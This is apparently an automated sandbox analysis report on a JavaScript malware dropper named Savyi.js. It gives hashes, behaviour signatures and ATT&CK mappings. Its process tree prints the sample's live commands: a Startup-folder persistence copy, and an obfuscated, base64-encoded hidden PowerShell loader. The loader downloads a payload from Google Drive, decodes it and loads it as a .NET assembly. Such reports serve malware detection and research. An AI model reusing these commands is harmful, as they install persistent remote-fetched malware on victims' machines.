ff6e5b04064c63dd80619d02c242c856bbf4e1f94ab230ca74817c3aa471ece4 | Triage

Analysis

max time kernel
96s
max time network
140s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
31-10-2024 17:05

Sharing

Report Analysis Logs

General

Target

Savyi.js
Size

60KB
MD5

caf142ae86793cd64c2947889f57ce28
SHA1

3c41375b1ee78c89b581b3d2a2aea42f895caab6
SHA256

ff6e5b04064c63dd80619d02c242c856bbf4e1f94ab230ca74817c3aa471ece4
SHA512

99eef70a65338f8147b9f5400ce3f49475140eb20d406c1cef0014abcd812ba0da5d94c5b61bd6deb0376ded7331fa1b4367283de86dd5f2edb7d215f4be6608
SSDEEP

1536:IHXpEjO9Xwq2Sk6e2Nhxdd5pdLv+lIXQXdE4QmuWOMP3HXpEjO9Xwq2Sk6e2Nhx6:IHXp+q62Nhxdd5pdq6k91HXp+q62Nhx6

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
18	2796	powershell.exe
20	2796	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

PowerShell

pid	Process
440	powershell.exe
2820	powershell.exe
2796	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000\Control Panel\International\Geo\Nation	wscript.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.js	wscript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

flow	ioc
17	drive.google.com
18	drive.google.com

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

pid	Process
2832	cmd.exe
3592	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

pid	Process
3592	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
440	powershell.exe
440	powershell.exe
2820	powershell.exe
2820	powershell.exe
2796	powershell.exe
2796	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	440	powershell.exe
Token: SeDebugPrivilege	2820	powershell.exe
Token: SeDebugPrivilege	2796	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4508 wrote to memory of 2832	4508	wscript.exe	82
PID 4508 wrote to memory of 2832	4508	wscript.exe	82
PID 2832 wrote to memory of 3592	2832	cmd.exe	84
PID 2832 wrote to memory of 3592	2832	cmd.exe	84
PID 2832 wrote to memory of 440	2832	cmd.exe	91
PID 2832 wrote to memory of 440	2832	cmd.exe	91
PID 4508 wrote to memory of 2820	4508	wscript.exe	93
PID 4508 wrote to memory of 2820	4508	wscript.exe	93
PID 2820 wrote to memory of 2796	2820	powershell.exe	95
PID 2820 wrote to memory of 2796	2820	powershell.exe	95

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Savyi.js
1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:4508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\Savyi.js', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sj.JJC.js')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2832
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3592
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\Savyi.js', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sj.JJC.js')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JgAoACAAJABFAE4AVgA6AEMATwBNAHMAUABlAGMAWwA0ACwAMQA1ACwAMgA1AF0ALQBKAG8AaQBOACcAJwApACAAKAAgACgAKAAnADgATwBaAGkAbQBhAGcAZQBVAHIAbAAgAD0AIABOADYASQBoAHQAdABwAHMAOgAvAC8AZAByAGkAdgBlAC4AZwBvAG8AZwBsAGUALgBjAG8AbQAvAHUAYwA/AGUAeABwAG8AcgB0AD0AZABvAHcAbgBsAG8AYQBkACYAaQBkAD0AJwArACcAMQBBACcAKwAnAEkAVgBnAEoASgBKAHYAMQBGACcAKwAnADYAdgBTADQAcwBVAE8AeQBiAG4ASAAtAHMARAB2AFUAaABCAFkAdwB1AHIAIABOADYASQA7ADgATwBaAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjACcAKwAnAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlACcAKwAnAGIAQwBsAGkAZQBuAHQAOwA4AE8AWgBpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgADgATwBaAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAA4AE8AWgBpAG0AYQBnACcAKwAnAGUAVQByAGwAKQA7ADgATwBaAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQAnACsAJwBuACcAKwAnAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdAAnACsAJwBTACcAKwAnAHQAcgBpACcAKwAnAG4AJwArACcAZwAoADgATwBaAGkAbQBhAGcAZQBCACcAKwAnAHkAdABlAHMAKQA7ADgATwBaAHMAdABhAHIAdABGAGwAYQBnACAAPQAgAE4ANgBJADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4ATgA2AEkAOwAnACsAJwA4AE8AWgBlAG4AZABGAGwAJwArACcAYQBnACAAPQAgAE4ANgBJADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgBOADYASQA7ADgATwAnACsAJwBaAHMAdABhACcAKwAnAHIAdABJAG4AZABlAHgAIAA9ACAAOABPAFoAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAOABPAFoAcwB0AGEAcgB0AEYAbABhAGcAKQA7ADgATwBaAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAnACsAJwA4AE8AWgBpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAA4AE8AWgBlAG4AZABGAGwAYQBnACkAOwA4AE8AWgBzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgADgATwBaAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJwArACcAOAAnACsAJwBPAFoAcwB0AGEAcgB0AEkAbgBkAGUAeAA7ADgATwBaAHMAdABhAHIAdABJAG4AZABlAHgAIAArAD0AJwArACcAIAA4AE8AWgBzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAOABPAFoAYgBhAHMAZQA2ADQATAAnACsAJwBlAG4AZwB0AGgAIAA9ACAAJwArACcAOABPAFoAZQBuAGQASQBuAGQAZQB4ACAALQAgADgATwBaAHMAdABhAHIAdABJAG4AZABlAHgAJwArACcAOwA4AE8AWgBiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgADgATwBaAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0ACcAKwAnAHIAaQBuAGcAKAA4AE8AWgBzAHQAYQByAHQASQBuAGQAZQB4ACwAIAA4AE8AWgBiAGEAcwBlADYANABMAGUAbgBnAHQAJwArACcAaAApADsAOABPAFoAYgAnACsAJwBhAHMAZQA2ADQAUgBlAHYAZQByAHMAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAOABPAFoAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAAwAE4AUAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAA4AE8AWgBfACAAfQApAFsALQAxAC4ALgAtACgAOABPAFoAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAuACcAKwAnAEwAZQBuAGcAdABoACkAXQA7ADgATwBaAGMAJwArACcAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAA4AE8AWgBiAGEAcwBlADYANABSAGUAdgBlAHIAcwBlAGQAKQA7ADgATwBaAGwAbwBhACcAKwAnAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdAAnACsAJwBpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAOABPAFoAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7ADgATwBaAHYAYQBpAE0AZQB0AGgAbwBkACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKABOADYASQBWAEEASQBOADYASQApADsAOABPAFoAdgBhAGkATQAnACsAJwBlAHQAaABvAGQALgBJAG4AdgBvAGsAZQAoADgATwBaAG4AdQBsAGwALAAgAEAAKABOADYASQAwAC8AZQB6AHEAVAA1AC8AZAAvAGUAZQAuACcAKwAnAGUAdABzAGEAcAAvAC8AOgBzAHAAdAB0AGgATgA2AEkALAAgAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkALAAgAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkALAAgAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkALAAgAE4ANgBJAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzADMAMgBOADYASQAsACAATgA2AEkAZABlAHMAYQB0AGkAdgBhAGQAbwBOADYASQAnACsAJwAsACAATgAnACsAJwA2AEkAZABlAHMAYQB0AGkAdgBhAGQAbwBOADYASQAsAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkAJwArACcALABOADYASQBkAGUAcwBhAHQAaQB2AGEAZABvAE4ANgBJACwATgA2AEkAZABlAHMAYQB0AGkAdgBhAGQAbwBOADYASQAsAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkALABOADYASQBkAGUAcwBhAHQAaQB2AGEAZABvAE4ANgBJACwATgA2AEkAMQBOADYAJwArACcASQAsAE4ANgBJACcAKwAnAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkAKQApADsAJwApACAALQByAGUAcABsAGEAYwBlACAAIAAnADgATwBaACcALABbAEMAaABhAHIAXQAzADYAIAAtAHIAZQBwAGwAYQBjAGUAIAAgACcAMABOAFAAJwAsAFsAQwBoAGEAcgBdADEAMgA0AC0AcgBlAHAAbABhAGMAZQAnAE4ANgBJACcALABbAEMAaABhAHIAXQAzADkAKQAgACkA';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2820
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $ENV:COMsPec[4,15,25]-JoiN'') ( (('8OZimageUrl = N6Ihttps://drive.google.com/uc?export=download&id='+'1A'+'IVgJJJv1F'+'6vS4sUOybnH-sDvUhBYwur N6I;8OZwebClient = New-Objec'+'t System.Net.We'+'bClient;8OZimageBytes = 8OZwebClient.DownloadData(8OZimag'+'eUrl);8OZimageText = [System.Text.E'+'n'+'coding]::UTF8.Get'+'S'+'tri'+'n'+'g(8OZimageB'+'ytes);8OZstartFlag = N6I<<BASE64_START>>N6I;'+'8OZendFl'+'ag = N6I<<BASE64_END>>N6I;8O'+'Zsta'+'rtIndex = 8OZimageText.IndexOf(8OZstartFlag);8OZendIndex = '+'8OZimageText.IndexOf(8OZendFlag);8OZstartIndex -ge 0 -and 8OZendIndex -gt '+'8'+'OZstartIndex;8OZstartIndex +='+' 8OZstartFlag.Length;8OZbase64L'+'ength = '+'8OZendIndex - 8OZstartIndex'+';8OZbase64Command = 8OZimageText.Subst'+'ring(8OZstartIndex, 8OZbase64Lengt'+'h);8OZb'+'ase64Reversed = -join (8OZbase64Command.ToCharArray() 0NP ForEach-Object { 8OZ_ })[-1..-(8OZbase64Command.'+'Length)];8OZc'+'ommandBytes = [System.Convert]::FromBase64String(8OZbase64Reversed);8OZloa'+'dedAssembly = [System.Reflect'+'ion.Assembly]::Load(8OZcommandBytes);8OZvaiMethod = [dnlib.IO.Home].GetMethod(N6IVAIN6I);8OZvaiM'+'ethod.Invoke(8OZnull, @(N6I0/ezqT5/d/ee.'+'etsap//:sptthN6I, N6IdesativadoN6I, N6IdesativadoN6I, N6IdesativadoN6I, N6IAddInProcess32N6I, N6IdesativadoN6I'+', N'+'6IdesativadoN6I,N6IdesativadoN6I'+',N6IdesativadoN6I,N6IdesativadoN6I,N6IdesativadoN6I,N6IdesativadoN6I,N6I1N6'+'I,N6I'+'desativadoN6I));') -replace '8OZ',[Char]36 -replace '0NP',[Char]124-replace'N6I',[Char]39) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2796

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

JavaScript

PowerShell

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

Remote System Discovery

System Information Discovery

System Network Configuration Discovery

Internet Connection Discovery

Lateral Movement

Collection

Command and Control

Web Service

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
e30544e6d048b2c1c6129c89835c16dd

SHA1
21d167ff64825d3f8a5c351c3160b670dc14cb60

SHA256
df0fcfba7ccb03bac0ccf6941f9cc512937fdc63035a2fedc78aa9a82c1d8af1

SHA512
fcfc1e2b4110286dc8ede8caab34ea309e24fa6deb225213ab0e5b2d6499cc195e65dde2e125bca3ef5d5b5f4fdda66a1e4429cf2ea1c3df0ba92142342dfd9b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
bd801a419be0770ce8ce40db8a9d3746

SHA1
ec62e6eb92e9843876443c95a9f38be828f7af73

SHA256
7d9cedb0936bc4668788229b84f399a69cd5060964dfbc4ff471d9d9b4ae48ad

SHA512
d805e6b1a570aeb1a6e04710fc03e01bdb23ce1cb880ae6117784d393b5dd1fc300db79c3580539ed87a1ec192731b3ba34274fbe61c53d3aa6b90ce10b0ba54

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
7955726e9e4cc9730deb00ae6a84736a

SHA1
fa2381bd0c44cce3beee2c2204d0272a8d83b078

SHA256
b02b77fd37ca9fd5d28d993d0aaeb4433d8fdde982c09992e59806b494ad5ad8

SHA512
d5740a1fd0ae66e6f2733bb99cee87154102e43469f2f90d35345f8039de3bafe63e3786fe0642c57fa81beadac8929f61ca2dd22403ae1a5469bda1ab4e5592

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_33zdg404.2mn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/440-0-0x00007FF846643000-0x00007FF846645000-memory.dmp

Filesize
8KB

Download
memory/440-10-0x000001F96EBA0000-0x000001F96EBC2000-memory.dmp

Filesize
136KB

Download
memory/440-11-0x00007FF846640000-0x00007FF847102000-memory.dmp

Filesize
10.8MB

Download
memory/440-12-0x00007FF846640000-0x00007FF847102000-memory.dmp

Filesize
10.8MB

Download
memory/440-15-0x00007FF846640000-0x00007FF847102000-memory.dmp

Filesize
10.8MB

Download
memory/440-16-0x00007FF846640000-0x00007FF847102000-memory.dmp

Filesize
10.8MB

Download